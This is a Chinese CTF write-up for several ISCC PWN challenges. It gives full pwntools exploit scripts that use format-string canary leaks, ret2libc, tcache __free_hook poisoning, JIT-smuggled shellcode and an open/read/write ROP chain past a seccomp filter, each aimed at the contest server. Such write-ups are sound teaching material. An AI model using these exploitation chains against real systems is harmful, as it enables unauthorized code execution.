0x00 前言

  1. 小弟的第一次ISCC,校赛阶段已经结束了,简单记录一下做的PWN(3/3),平台比想象中的要烂好多好多…很难想象这是一个国家级的比赛。还有各种PY满天飞,甚至有老哥看到同校的PY队直接在比赛群里骂了起来,这就是_______.
  2. 欧也,区域赛ak了
  3. kernel pwn不会

0x01 校级赛题解部分

checksec:

Arch:       i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8047000)
RUNPATH: b'/home/yyh/Desktop/lib32/lib32/'
Stripped: No

浅谈

附件一发下来就是patch(?)过的,很奇怪,甚至不能直接打开,我当时尝试过给他patch了一个比较低版本的libc和so(2.23),启动之后会报一个这样的错误:

version GLIBC_2.34 not found

简单查了一下,patch的版本太低了。后面泄露出了libc版本,也确实证明了这一点

libc6-i386_2.35-0ubuntu3.8_amd64.so

话不多说,这道题整体就是一个 泄露canary + ret2libc。
值得注意的是,在泄露puts_got的时候,会打印出8个字节,这是因为got中存储的4个字节连在一起了,不像64位的那样会有\x00截断,所以在接收的时候只接收前4字节即可

EXP:

from pwn import *

context.arch='i386'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/attachment'
elf=ELF(file)
libc=ELF('/mnt/c/Users/Z2023/Desktop/libc6-i386_2.35-0ubuntu3.8_amd64.so')


choice = 0x01
if choice:
port= 12400
iscc='101.200.155.151'
p = remote(iscc,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)
# gdb.attach(p,'b *0x400c45')

# distance is 7
puts_got=elf.got['puts']

payload = b'%23$paaa'
payload += p32(puts_got) + b'%9$s'

sla('What\'s your name?\n\n',payload)
canary = int(r(10),16)
leak('canary')

r(7)
puts_addr = uu32(r(4))
leak('puts_addr')

libc_base = puts_addr - libc.sym['puts']
leak('libc_base')

system,binsh=get_sb()
leak('system')
leak('binsh')

one_gadget=libc_os(0xdd8a3)
libc_start_got=elf.got['__libc_start_main']
pop_ebx=0x08049022
vuln_addr=0x08049210

payload = p32(canary)
payload = payload.rjust(0x4c-8,b'a')
payload = payload.ljust(0x4c+4,b'a')
payload += p32(system)+p32(vuln_addr)+p32(binsh)

sla('What\'s your password?\n\n',payload)

itr()

key

Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

浅谈

涉及到一点点的关于堆的知识点,还好有在学堆,整体就是一个堆块分配机制的利用、泄露canary和ret2libc

分析

想要ret2libc,就先让key=520,跟进一下fg()
利用chunk分配机制,在它free掉一个0x64大小的chunk之后,会进入fast bin/ Tcache,无论是哪种,只要我们再申请一个相同大小的chunk,就能把这个堆块给申请回来
再写入flag就可以令key=520
后面就是泄露canary 和libc 然后打 ret2libc

EXP:

from pwn import *

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/attachment8'
elf=ELF(file)
libc=ELF('/mnt/c/Users/Z2023/Desktop/libc.so')

choice = 0x01
if choice:
port= 12200
iscc='101.200.155.151'
p = remote(iscc,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
# gdb.attach(p,cmd)
gdb.attach(p,'b *0x400c45')

sla('size:\n',str(0x64))
sla('flag:\n',b'flag')

# 填满临时变量,read就不会在末尾加上'\x00',puts就能连带后面的canary一起输出
payload=b'a'*(25)
sa('welcome to ISCC\n',payload)
canary = u64(ru('.')[-8:-1].rjust(8,b'\x00'))
leak('canary')

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
pop_rdi=0x00000000004014c3
vuln=0x000000000040135C
ret=0x000000000040101a

payload = p64(canary)
payload = payload.rjust(0x20,b'a')
payload += b'a'*8
payload += flat(pop_rdi,puts_got,puts_plt,vuln)
# debug()
sla('nice to meet you',payload)

puts_addr=uru64()
leak('puts_addr')
libc_base=puts_addr-libc.sym['puts']
leak('libc_base')
system,binsh=get_sb()

sa('welcome to ISCC\n',b'a')

payload = p64(canary)
payload = payload.rjust(0x20,b'a')
payload += b'a'*8
payload += flat(ret,pop_rdi,binsh,system,vuln)
sla('nice to meet you',payload)

itr()

《魔导王的秘密》

给了libc,一道正经堆题

Arch:       amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'/home/link/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/'

浅谈

人生中在比赛出的第一道堆题,虽然很简单很简单

简单分析

在IDA里面畅游过了

  1. 有uaf、堆溢出
  2. 没得写got
  3. 哦原来__malloc_hook和__free_hook还是能照样写
  4. 2.27 那就是简单的Tcache attack,甚至比fast bin attack还简单

可以参考LitCTF 2024 heap-2.27(Tcache attack啦) . 几乎是一样的做法,所以就直接放exp了。

EXP

from pwn import *

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/attachment13'
elf=ELF(file)
libc=ELF('/mnt/c/Users/Z2023/Desktop/libc.so')

choice = 0x01
if choice:
port= 12700
iscc='101.200.155.151'
p = remote(iscc,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
# gdb.attach(p,cmd)
gdb.attach(p,'b *$rebase(0xD7D)')

def malloc(index,size):
sla('Chant your choice:\n',b'1')
sla('Celestial alignment coordinate:\n',str(index))
sla('Quantum essence required:\n',str(size))

def free(index):
sla('Chant your choice:\n',b'2')
sla('Cursed sanctum to cleanse:',str(index))

def edit(index,content):
sla('Chant your choice:\n',b'3')
sla('Sanctum for arcane inscription:\n',str(index))
sla('Runic sequence length:\n',str(len(content)))
sla('Inscribe your primordial truth:\n',content)

def show(index):
sla('Chant your choice:\n',b'4')
sla('Sanctum to reveal cosmic truth:\n',str(index))

debug()
# 制造unsorted bin
malloc(0,0x410)
malloc(1,0x68)
malloc(2,0x68)

# 泄露libc
free(0)
show(0)

libc_base = uru64() - 0x3ebca0
leak('libc_base')
sys,binsh=get_sb()

# Tcache attack
free(1)
edit(1,p64(libc_os(libc.sym['__free_hook'])))

malloc(3,0x68)
edit(3,b'/bin/sh\x00')
malloc(4,0x68)

edit(4,p64(sys))
free(3)

itr()

0x02 区域赛题解部分

genius

Checksec发现有canary

Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

上ida看看,main函数逻辑如下
跟进function1
继续跟进
继续跟进function3
此处可以用来泄露canary,然后gets函数有溢出点,程序中有后门函数
ret2text即可

exp

from pwn import *

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/attachment22'
elf=ELF(file)

choice = 0x001
if choice:
port= 12000
iscc='101.200.155.151'
p = remote(iscc,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return gdb.attach(p,cmd)
# gdb.attach(p,'b *0x400c45')

sla('you are a genius,yes or no?',b'no')
sla('Sir, don\'t be so modest.',b'thanks')
sla('what you want in init',b'a'*24)

r(25)
canary = r(7)
canary = canary.rjust(8,b'\x00')
canary= uu64(canary)
leak('canary')

shell = 0x00000000004011A6
ret = 0x000000000040101a
debug()
payload = p64(canary)
payload = payload.rjust(0x20,b'a')
payload += b'a'*8
payload += p64(ret)+p64(shell)
sla('thank you',payload)

itr()

program

上ida看了一眼是一道堆题, 根据题目给出的libc版本可知glibc版本,patch一下就能正常本地调试。
堆块释放功能有uaf漏洞
编辑堆块有堆溢出漏洞
输出堆块没有检测,可以利用这个配合unsorted bin来泄露libc
所以思路就是制造unsorted bin来泄露libc,然后利用tcachebin attack劫持fd指针到free_hook进行改写

exp

from pwn import *

context(log_level = 'debug', arch = 'amd64', os = 'linux')

elf=ELF('/mnt/c/Users/Z2023/Desktop/attachment23')
libc=ELF('/mnt/c/Users/Z2023/Desktop/attachment-23.so')

# p = process('./attachment23')
io = remote('101.200.155.151',12300)

def add_chunk(i,s):
io.sendlineafter('choice:\n',b'1')
io.sendlineafter('index:\n',str(i))
io.sendlineafter('size:\n',str(s))

def delete_chunk(i):
io.sendlineafter('choice:\n',b'2')
io.sendlineafter('index:\n',str(i))

def edit_chunk(i,c):
io.sendlineafter('choice:\n',b'3')
io.sendlineafter('index:\n',str(i))
io.sendlineafter('length:\n',str(len(c)))
io.sendlineafter('content:\n',c)

def print_chunk(i):
io.sendlineafter('choice:\n',b'4')
io.sendlineafter('index:\n',str(i))

for i in range(8):
add_chunk(i,0x80)

for i in range(7):
delete_chunk(i)

add_chunk(8,0x10)
delete_chunk(7)

print_chunk(7)

# gdb.attach(io)
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
print(hex(libc_base))
system = libc_base + libc.sym['system']

edit_chunk(6,p64(libc_base + libc.sym['__free_hook']))

add_chunk(9,0x80)
add_chunk(10,0x80)
edit_chunk(10,p64(system))
add_chunk(11,0xa0)
edit_chunk(11,b'/bin/sh\x00')
delete_chunk(11)

io.interactive()

Fufu

checksec发现有pie和canary
在这里利用无符号整数溢出和fmtstr泄露出piebase和canry之后再泄露libc
参数位置如下,后续利用printf_got泄露libc
然后在这里ret2libc

exp

from pwn import *
context.arch = 'amd64'

elf=ELF('./attachment-32')
libc=ELF('./libc6_2.35-0ubuntu3.5_amd64.so')

# p = process('./attachment32')
io = remote('101.200.155.151',12600)

io.sendlineafter('choice? >> ',b'1')
io.sendlineafter('limited! >> ',str(429496735))
# gdb.attach(io)
io.sendlineafter('evidence! >> ',b'%17$p%25$p')

c = int(io.recv(18),16)
print(hex(c))

io.recvuntil('0x')
main = int(io.recv(12),16)-0x1338
print(hex(main))

io.sendlineafter('chicken! >> ',b'a')

printf_got = elf.got['printf'] + main

io.sendlineafter('choice? >> ',b'1')
io.sendlineafter('limited! >> ',str(429496735))
io.sendlineafter('evidence! >> ',b'%9$saaaa'+p64(printf_got))

printf_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(printf_addr))

libc_base = printf_addr - libc.sym['printf']
# print(hex(libc_base))
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))

io.sendlineafter('chicken! >> ',b'a')

io.sendlineafter('choice? >> ',b'2')

pl = p64(c)
pl = pl.rjust(0x50,b'a')
pl += b'a'*8 + p64(0x132f + main)+p64(0x101a + main)+p64(binsh)+p64(system)+b'a'*8
io.sendlineafter('adjourned\n',pl)

io.interactive()

mutsumi

程序比较复杂,看了一下。这个 main 函数实际上根据用户输入来执行不同的分支,我们需要输入对应的字符串来让程序执行至这个特定的分支
以整数形式将我们的输入存储,最后通过 mutsumi_jit(&Vm);转换为汇编指令,也就是说我们需要以10进制的方式输入shellcode,看看mutsumi_jit(&Vm);函数有没有对输入进行魔改。在最底下的imm2asm
会给我们输入的shellcode片段加入一个字节的数据,由我们输入的shellcode的”大小“来决定这个插入的字节数据。
正常来说我们一次能够输入4字节,这4字节都用上的话肯定比0xff要大,所以可以确认的是我们输入的shellcode都会被插入一个E9,而这个e9会扰乱我们的shellcode,所以我们需要花一字节来与这个e9进行匹配,组成一条不会妨碍shellcode运行的汇编命令,这里选择09,因为b’\x09\xe9’转换成asm就是or ecx, ebp
题外话,又发掘了一个pwntools好用的东西
在执行shellcode之前所有寄存器的值都被清除,所以这条指令不会影响我们shellcode的执行。
构造的shellcode如下,实际发送的时候开头都补上09,后面不够3字节的就用90来凑

# \x83\xc6\x05\x90 add esi,5
# \xc1\xe6\x04\x90 shl esi,4
# \x83\xc6\x01\x90 add esi,1
# \xc1\xe6\x04\x90 shl esi,4
# \x83\xc6\x04\x90 add esi,4
# \xc1\xe6\x04\x90 shl esi,4
# \xc1\xe6\x04\x90 shl esi,4
# \xc1\xe6\x04\x90 shl esi,4
# \x80\xc2\x08\x90 add dl,0x8
# \x0f\x05\x90\x90 syscall
# \x80\xea\x08\x90 sub dl,0x8
# \x04\x33\x90\x90 add al,0x3b
# \x89\xf7\x90\x90 mov edi,esi
# \x31\xf6\x90\x90 xor rsi,rsi
# \x0f\x05\x90\x90 syscall

exp

from pwn import *

context(log_level = 'debug', arch = 'amd64', os = 'linux')

# p = process('./attachment23')
io = remote('101.200.155.151',12800)

io.sendlineafter('help her','saki,ido')
io.sendline('1')

code = [0x0905c683,0x0904e6c1,0x0901c683,0x0904e6c1,0x0904c683,0x0904e6c1,0x0904e6c1,0x0904e6c1,0x0908c280,0x0990050f,0x0908ea80,0x09903304,0x0990f789,0x0990f631,0x0990050f]
for i in range(len(code)):
io.sendline('saki,ido')
sleep(0.1)
io.sendline(str(code[i]))

sleep(0.1)
io.sendline('saki,stop')
sleep(0.5)
io.sendline(b'/bin/sh\x00')

io.interactive()

0x03 决赛题解部分

Dilemma

就是fmtstr泄露canary, stack
然后利用二次fmtstr改hp, 获得第二次fmtstr, 泄露libc
最后溢出打orw
沙箱:

 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW

正常getshell没反映,看了一眼原来沙箱禁了
Libc: libc6_2.35-0ubuntu3.9_amd64.so
这里需要注意一下getgadget的问题,印象中程序里面是没有ret这个gadget的好像,但是泄露了libc,我们可以用libc里面的

from pwn import *
from ctypes import *
from struct import pack

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/attachment-42'
elf=ELF(file)
libc=ELF('/mnt/c/Users/Z2023/Desktop/libc6_2.35-0ubuntu3.9_amd64.so')

choice = 0x001
if choice:
port= 12500
polar='1.95.36.136'
nss='node5.anna.nssctf.cn'
buu='node5.buuoj.cn'
kap0k='ctf.kap0k.top'
iscc='101.200.155.151'
p = remote(iscc,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)
# gdb.attach(p,'b *$rebase(0x000000000000156B)')

#distance is 6
sla('where are you go?\n',b'1')
payload = b'%9$paaaa%11$paaa'
sa('Enter you password:\n',payload)

ru('0x')
stack = int(r(12),16) -0x50 + 0x20
leak('stack')

ru('0x')
canary = int(r(15),16)
canary = canary * 16
leak('canary')

rdi = 0x000000000040119a
rsi_r15 = 0x000000000040119c
hp=0x0000000000404068
mp=0x000000000040406C
main =0x000000000401530

sla('I will check your password:\n',b'aaaa')
sla('where are you go?\n',b'2')

payload = fmtstr_payload(6,{hp:0x1},write_size='short')
sla('We have a lot to talk about\n',payload)

sla('where are you go?\n',b'1')
payload = b'%7$saaaa'+p64(elf.got['puts'])
sla('Enter you password:\n',payload)
puts_addr = uru64()
leak('puts_addr')
libc_base = puts_addr - libc.sym['puts']
leak('libc_base')
system,binsh=get_sb()

open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
rdx = libc_base + 0x0000000000170337
# pop rdx ; ret 6

bss = 0x404500

payload = b"flag.txt"+p64(canary)
payload = payload.rjust(0x30,b'a')
payload += b'a'*8
payload += flat(rdi,stack,rsi_r15,0,0,open_addr,rdi,3,rsi_r15,bss,0,rdx,0x100,read_addr)
payload += b'\x00'*6
payload += flat(rdi,1,rsi_r15,bss,0,rdx,0x100,write_addr)
sla('where are you go?\n',b'2')
debug()
sla('We have a lot to talk about\n',payload)

itr()